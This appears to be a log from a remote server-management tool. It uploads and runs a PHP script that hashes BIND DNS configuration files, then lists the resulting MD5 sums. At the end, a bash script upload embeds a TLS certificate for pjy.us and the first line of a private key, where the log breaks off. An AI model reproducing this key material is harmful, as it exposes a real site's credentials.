MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-29 16:46:15: Establishing a connection
2025-10-29 16:46:37: Establishing a connection
2025-10-29 16:46:37:
PUT: /tmp/pkp282024
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-29 16:46:38:
runuser -l bind -s /bin/bash -c '/tmp/pkp282024; rm /tmp/pkp282024'
2025-10-29 16:46:38:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-29 16:46:58: Establishing a connection
2025-10-29 16:46:59:
PUT: /tmp/pkp861275
#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb
cat > $temp_file <<'endmsg'
59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72
-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
